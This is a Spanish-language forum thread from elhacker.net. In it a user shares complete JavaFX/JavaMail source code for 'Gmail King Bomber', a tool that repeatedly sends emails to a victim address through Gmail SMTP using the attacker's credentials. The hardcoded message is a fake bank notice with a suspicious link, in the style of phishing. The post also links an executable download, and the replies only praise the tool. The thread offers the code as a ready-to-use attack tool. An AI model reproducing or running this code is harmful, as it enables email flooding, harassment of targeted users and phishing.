elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  [JavaFX] Gmail King Bomber.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [JavaFX] Gmail King Bomber.  (Leído 4,908 veces)
Mitgus

Desconectado Desconectado

Mensajes: 63


Programming Lover


Ver Perfil
[JavaFX] Gmail King Bomber.
« en: 21 Junio 2013, 01:27 am »

Hola,

Les dejo una sencilla aplicación para spamear cuentas de correo. El code es sencillo, un Thread hace la tarea y captura las excepciones mostrando un cuadro de diálogo. Los botones y demás controles se desactivan mientras esté operativa la tarea (envío de emails). El botón borrar, como su nombre lo dice borra todos los campos a excepción del email y password atacante.


Imagen en funcionamiento:



Versión 1.0. Con un código más sencillo, sin tantos catch múltiples y ahora el trabajo por medio de un thread.

Código
  1. import java.util.Date;
  2. import java.util.Properties;
  3.  
  4. // Librerias JavaFX
  5. import javafx.application.Application;
  6. import javafx.beans.value.ChangeListener;
  7. import javafx.beans.value.ObservableValue;
  8. import javafx.event.ActionEvent;
  9. import javafx.event.EventHandler;
  10. import javafx.scene.Group;
  11. import javafx.scene.Scene;
  12. import javafx.scene.control.Button;
  13. import javafx.scene.control.Label;
  14. import javafx.scene.control.PasswordField;
  15. import javafx.scene.control.TextArea;
  16. import javafx.scene.control.TextField;
  17. import javafx.scene.image.Image;
  18. import javafx.scene.image.ImageView;
  19. import javafx.scene.paint.Color;
  20. import javafx.stage.Stage;
  21.  
  22. // librerias JavaMail
  23. import javax.mail.Message;
  24. import javax.mail.Session;
  25. import javax.mail.Transport;
  26. import javax.mail.internet.InternetAddress;
  27. import javax.mail.internet.MimeMessage;
  28. import javax.swing.JOptionPane;
  29.  
  30.  
  31. public class GmailKingBomber extends Application {
  32.  
  33. Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender;
  34. Button btnOk,btnBorrar;
  35. TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender;
  36. PasswordField txtPassSender;
  37. TextArea txrMensaje,txrActividad;
  38. public void start(Stage stage){
  39.  
  40.    Group root = new Group(); // crea un panel "Grupo" (ver doc)
  41.    Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
  42.  
  43.    // email
  44.    lblEmail = new Label("Email");
  45.    lblEmail.setTextFill(Color.web("#0076a3"));
  46.    lblEmail.setLayoutX(8);
  47.    lblEmail.setLayoutY(8);
  48.    txtEmail = new TextField("");
  49.    txtEmail.setFocusTraversable(true);
  50.    txtEmail.setPrefSize(150,25);
  51.    txtEmail.setLayoutX(20);
  52.    txtEmail.setLayoutY(28);
  53.    // asunto
  54.    lblAsunto = new Label("Asunto");
  55.    lblAsunto.setTextFill(Color.web("#0076a3"));
  56.    lblAsunto.setLayoutX(8);
  57.    lblAsunto.setLayoutY(55);
  58.    txtAsunto = new TextField("");
  59.    txtAsunto.setFocusTraversable(true);
  60.    txtAsunto.setPrefSize(150,25);
  61.    txtAsunto.setLayoutX(20);
  62.    txtAsunto.setLayoutY(75);
  63.    // mensaje
  64.    lblMensaje = new Label("Mensaje");
  65.    lblMensaje.setTextFill(Color.web("#0076a3"));
  66.    lblMensaje.setLayoutX(8);
  67.    lblMensaje.setLayoutY(101);
  68.    txrMensaje = new TextArea("");
  69.    txrMensaje.setFocusTraversable(true);
  70.    txrMensaje.setPrefSize(150,80);
  71.    txrMensaje.setLayoutX(20);
  72.    txrMensaje.setLayoutY(126);
  73.    // cantidad de mensajes
  74.    cantMensajes = new Label("Cantidad de emails");
  75.    cantMensajes.setTextFill(Color.web("#0076a3"));
  76.    cantMensajes.setLayoutX(8);
  77.    cantMensajes.setLayoutY(211);
  78.    txtcantMensajes = new TextField("");
  79.    txtcantMensajes.setFocusTraversable(true);
  80.    txtcantMensajes.setPrefSize(80,25);
  81.    txtcantMensajes.setLayoutX(20);
  82.    txtcantMensajes.setLayoutY(234);
  83.     // email atacador
  84.    lblEmailSender = new Label("Email atacante");
  85.    lblEmailSender.setTextFill(Color.web("#0076a3"));
  86.    lblEmailSender.setLayoutX(8);
  87.    lblEmailSender.setLayoutY(266);
  88.    // txt email atacador
  89.    txtEmailSender = new TextField("");
  90.    txtEmailSender.setFocusTraversable(true);
  91.    txtEmailSender.setLayoutX(20);
  92.    txtEmailSender.setLayoutY(285);
  93.    // pass del atacador
  94.    lblPassSender = new Label("Pass");
  95.    lblPassSender.setTextFill(Color.web("#0076a3"));
  96.    lblPassSender.setLayoutX(8);
  97.    lblPassSender.setLayoutY(310);
  98.    //ptxt pass del atacador
  99.    txtPassSender = new PasswordField();
  100.    txtPassSender.setFocusTraversable(true);
  101.    txtPassSender.setLayoutX(20);
  102.    txtPassSender.setLayoutY(329);
  103.    // si se empieza a escribir la contrasena se activa el boton
  104.    txtPassSender.textProperty().addListener(new ChangeListener<String>() {
  105.      @Override
  106.      public void changed(ObservableValue<? extends String> observable,
  107.              String oldValue, String newValue) {
  108.  
  109.          btnOk.setDisable(false);
  110.      }
  111.     });
  112.  
  113.    // boom
  114.    btnOk = new Button("&#161;Boom!");
  115.    btnOk.setFocusTraversable(true);
  116.    btnOk.setDisable(true);
  117.    btnOk.setTextFill(Color.web("#0076a9"));
  118.    btnOk.setLayoutX(20);
  119.    btnOk.setLayoutY(385);
  120.    btnOk.setPrefSize(100,25);
  121.  
  122.        // evento del boton
  123.    btnOk.setOnAction(new EventHandler<ActionEvent>() {
  124.     public void handle(ActionEvent event){ // crea un thread para iniciar el proceso
  125.     Boom boom = new Boom();
  126.     boom.start(); // inicia la tarea
  127.     }
  128.  
  129.    });
  130.  
  131.    // boton borrar
  132.    btnBorrar = new Button("Borrar");
  133.    btnBorrar.setLayoutX(126);
  134.    btnBorrar.setLayoutY(385);
  135.    btnBorrar.setPrefSize(100,25);
  136.    btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
  137.     public void handle(ActionEvent evt){
  138.     // borra todos los cambos y pone el focus en el email victima
  139.     txtEmail.setText(null);
  140.     txtAsunto.setText(null);
  141.     txrMensaje.setText(null);
  142.     txtcantMensajes.setText(null);
  143.     txrActividad.setText("");
  144.     txtEmail.requestFocus();
  145.     }
  146.    });
  147.    // textarea
  148.    lblActividad = new Label("Actividad");
  149.    lblActividad.setTextFill(Color.web("#0076a3"));
  150.    lblActividad.setLayoutX(250);
  151.    lblActividad.setLayoutY(8);
  152.    txrActividad = new TextArea();
  153.    txrActividad.setPrefSize(300,390);
  154.    txrActividad.setLayoutX(250);
  155.    txrActividad.setLayoutY(30);
  156.    txrActividad.setEditable(false); // el textarea no es editable
  157.    // imagen para el fondo
  158.    Image ima = new Image("file:htp.jpg",true);
  159.    ImageView imagen = new ImageView();
  160.    imagen.setImage(ima);
  161.    // imagen para el icono de la ventana
  162.    stage.getIcons().add(new Image("file:descarga.jpg"));
  163.    // agrega todos los componentes al panel
  164.    root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
  165.    stage.setTitle("&#161;Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
  166.    stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
  167.    stage.setResizable(false);
  168.    stage.show(); // mostramos la stage
  169.  
  170. }
  171.  
  172.    // clase que hace el env&#237;o de emails mediante thread
  173. private class Boom extends Thread{
  174.  
  175. private boolean continuar=true; //condicion del thread
  176.  
  177. void detener(){ // metodo para detener el thread
  178. continuar = false;
  179. }
  180. void inhabilitar() { // inhabilita los controles
  181. btnOk.setDisable(true);
  182. btnBorrar.setDisable(true);
  183. txtEmail.setEditable(false);
  184. txtAsunto.setEditable(false);
  185. txrMensaje.setEditable(false);
  186. txtcantMensajes.setEditable(false);
  187. txtEmailSender.setEditable(false);
  188. txtPassSender.setEditable(false);
  189. }
  190. void habilitar() { // habilita los controles
  191. btnOk.setDisable(false);
  192. btnBorrar.setDisable(false);
  193. txtEmail.setEditable(true);
  194. txtAsunto.setEditable(true);
  195. txrMensaje.setEditable(true);
  196. txtcantMensajes.setEditable(true);
  197. txtEmailSender.setEditable(true);
  198. txtPassSender.setEditable(true);
  199. }
  200. public void run()  { // incia el thread
  201. while(continuar) { // hace la tarea mientras continuar sea true
  202.  
  203. try {
  204. inhabilitar();
  205.                // Propiedades de la conexi&#243;n
  206.                Properties props = new Properties();
  207.                props.setProperty("mail.smtp.host", "smtp.gmail.com");
  208.                props.setProperty("mail.smtp.starttls.enable", "true");
  209.                props.setProperty("mail.smtp.port", "587");
  210.                props.setProperty("mail.smtp.user", txtEmailSender.getText());
  211.                props.setProperty("mail.smtp.auth", "true");
  212.  
  213.                // Preparamos la sesion
  214.                Session session = Session.getDefaultInstance(props);
  215.  
  216.                // Construimos el mensaje
  217.                MimeMessage message = new MimeMessage(session);
  218.                message.setFrom(new InternetAddress("yo@yo.com"));
  219.                message.addRecipient(
  220.                    Message.RecipientType.TO,
  221.                    new InternetAddress(txtEmail.getText()));
  222.                message.setSubject("Hola");
  223.                message.setText(
  224.                    "Este es un aviso de su banco: clickee aqu&#237;: www.terobolacuenta.com");
  225.  
  226.                // Lo enviamos.
  227.                int cantidad = Integer.parseInt(txtcantMensajes.getText() );
  228.                for(int i=1; i<=cantidad; i++) {
  229.                Transport t = session.getTransport("smtp");
  230.                t.connect(txtEmailSender.getText(), new String(txtPassSender.getText()));
  231.                t.sendMessage(message, message.getAllRecipients());
  232.                txrActividad.setText(txrActividad.getText() + "\n" +
  233.     "Nuevo mensaje enviado: " + new Date() + "\n" +
  234.     "Destino: " + txtEmail.getText() + "\n" +
  235.     "Asunto: " + txtAsunto.getText() + "\n" +
  236.     "Mensaje: " + txrMensaje.getText()+"\n"+"\n");
  237.  
  238.                // Cierre.
  239.                t.close();
  240.  
  241.                if(i==cantidad) {
  242.                 detener();
  243.                 habilitar();
  244.                }
  245.               } // fin for
  246.            } // fin try
  247. catch(Exception e) { //detenemos el thread, habilitamos los button y mostramos error
  248. detener();
  249. habilitar();
  250.  
  251. JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Aseg&#250;rese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE);
  252. }
  253. } // fin while
  254. } // fin run
  255. } // fin clase
  256.  
  257.  
  258. public static void main(String[] args) {
  259. launch(args); // lanza la aplicacion
  260. }
  261. }
  262.  


Ejecutable:  http://www.mediafire.com/?pdqn5cz324brq6b


« Última modificación: 29 Junio 2013, 00:00 am por Darkgus » En línea

Linux User #560388
0xFer


Desconectado Desconectado

Mensajes: 400



Ver Perfil
Re: [JavaFX] Gmail King Bomber.
« Respuesta #1 en: 21 Junio 2013, 20:19 pm »

interesante, se parece bastante al que hice  :( de hecho tiene código que yo escribí pero con unas modificaciones  :silbar:

pero bueno felicidades de todos modos tambien tiene codigo original  ;-)

edito : Bueno ya vi tu mensaje en el otro foro Randomized, ya sospechaba que eras tu   :D  felicidades crack esta mejor que el que yo había hecho te lo has currado  ;-)

saludos


« Última modificación: 21 Junio 2013, 20:24 pm por Ferreter » En línea

Código
  1. int getRandomNumber(){
  2.    return 4; //chosen by fair dice roll
  3.              //guaranteed to be random
  4. }
Mitgus

Desconectado Desconectado

Mensajes: 63


Programming Lover


Ver Perfil
Re: [JavaFX] Gmail King Bomber.
« Respuesta #2 en: 21 Junio 2013, 23:31 pm »

Hola David que tal xD.

El code que utilicé de ti es este pedazo:

Código
  1. txrActividad.setText(txrActividad.getText() + "\n" +
  2.     "Nuevo mensaje enviado: " + new Date() + "\n" +
  3.     "Destino: " + txtEmail.getText() + "\n" +
  4.     "Asunto: " + txtAsunto.getText() + "\n" +
  5.     "Mensaje: " + txrMensaje.getText()+"\n"+"\n");
  6.  

Lo que me gustó fue el nombre de tu clase "Bomber"  ;D



Saludos crack.

« Última modificación: 24 Junio 2013, 17:30 pm por Darkgus » En línea

Linux User #560388
Legnak

Desconectado Desconectado

Mensajes: 61


("Programador");


Ver Perfil
Re: [JavaFX] Gmail King Bomber.
« Respuesta #3 en: 27 Junio 2013, 01:59 am »

nada mal  ;D
me gustó mucho
En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: [JavaFX] Gmail King Bomber.
« Respuesta #4 en: 27 Junio 2013, 02:00 am »

Gracias por tu aporte al foro :)
Sin duda es muy útil y muy versátil y mas viniendo de este hermanito abandonado de Java como es JavaFX.

Un saludo
En línea

Mitgus

Desconectado Desconectado

Mensajes: 63


Programming Lover


Ver Perfil
Re: [JavaFX] Gmail King Bomber.
« Respuesta #5 en: 27 Junio 2013, 04:48 am »

Muchas gracias Debci y Legnak por pasarse.

JavaFX me parece un muy buen framework para apps de todo tipo, a ver si ahora ya se incursiona en el mundo móvil, porque con swing nunca lo iba a hacer  ;D, además se pueden lograr apps de escritorio/web con un acabado y funcionalidad excelente.


Saludos  :)
En línea

Linux User #560388
ThinkByYourself

Desconectado Desconectado

Mensajes: 191


Ver Perfil
Re: [JavaFX] Gmail King Bomber.
« Respuesta #6 en: 28 Junio 2013, 02:18 am »

Te lo curras!
En línea

No te voy a engañar.
Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Gmail Bomber 0.3
Scripting
BigBear 0 1,901 Último mensaje 23 Febrero 2012, 17:39 pm
por BigBear
JavaFX
Java
mapers 0 2,162 Último mensaje 31 Mayo 2012, 07:45 am
por mapers
Email Bomber en VB (solo Gmail) « 1 2 »
.NET (C#, VB.NET, ASP)
S_M_A_C_K 14 9,337 Último mensaje 6 Noviembre 2012, 21:34 pm
por Pablo Videla
[JavaFX] Manual para aprender JavaFX
Java
jaxoR 1 10,567 Último mensaje 17 Noviembre 2013, 20:16 pm
por Mitsu
[JavaEE - JavaFx] RESTful con JPA (CRUD) y cliente en JavaFX
Java
Usuario Invitado 2 4,232 Último mensaje 10 Abril 2015, 22:43 pm
por Usuario Invitado
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines